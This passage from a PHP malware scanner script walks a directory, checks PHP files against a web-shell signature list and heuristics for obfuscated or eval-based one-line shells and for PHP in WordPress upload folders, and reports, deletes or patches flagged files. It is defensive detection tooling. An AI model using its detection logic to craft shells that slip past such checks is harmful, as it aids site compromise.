151 | }
152 | unlink('fix.patch');
153 | }
154 |
155 | // Main(void)
156 | if (empty($argv[1])) {
157 | die("Usage: php find.php directory_to_scan > infected.txt\n");
158 | } else {
159 | echo $colors->getColoredString('Scanning '.$argv[1]." for potential obfuscated malware...\n\n", 'green');
160 | $data = array();
161 | if (file_exists($argv[1])) {
162 | if (is_dir($argv[1])) {
163 | $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($argv[1]), RecursiveIteratorIterator::SELF_FIRST); // Grab array of the entire structures of $argv[1] (a directory)
164 | } else {
165 | // Scan file directly
166 | $files = array($argv[1]);
167 | }
168 |
169 | $c = 0; // Counter for files processed
170 | $f = 0; // Counter for files with potential malware
171 |
172 | // Preload data
173 | $shells = file(dirname(__FILE__).'/data/webshells.txt');
174 | $whitelist = file(dirname(__FILE__).'/data/whitelist.txt');
175 |
176 | foreach ($files as $file) {
177 | if (is_dir($file) === true) { // Not in use, was used to check directory traversal was working properly
178 | } else { // If is file
179 | if (preg_match("/\.php$/", $file)) { // Currently only selects PHP scripts for scanning
180 | $arr = file($file); // Puts each line of the file into an array element
181 |
182 | if (detect_shell($arr)) {
183 | report_file($file, 'Shell script pattern');
184 | ++$f;
185 | continue;
186 | }
187 |
188 | if (detect_obfuscated($arr)) {
189 | report_file($file, 'obfuscated code on first line');
190 | ++$f;
191 | continue;
192 | }
193 |
194 | if (detect_onelineshell($arr)) {
195 | report_file($file, 'First-line file with eval');
196 | if (count($arr) == 1) {
197 | delete_file($file, implode($arr), true);
198 | } else {
199 | patch_file($file, $arr);
200 | }
201 | ++$f;
202 | continue;
203 | }
204 |
205 | if (detect_upload($file)) {
206 | report_file($file, 'PHP file in wordpress upload dir');
207 | ++$f;
208 | continue;
209 | }
210 | }
211 | }
212 | ++$c;
213 | }
214 | } else {
215 | die('The specified scan path does not exist!');
216 | }
217 | }
218 |
--------------------------------------------------------------------------------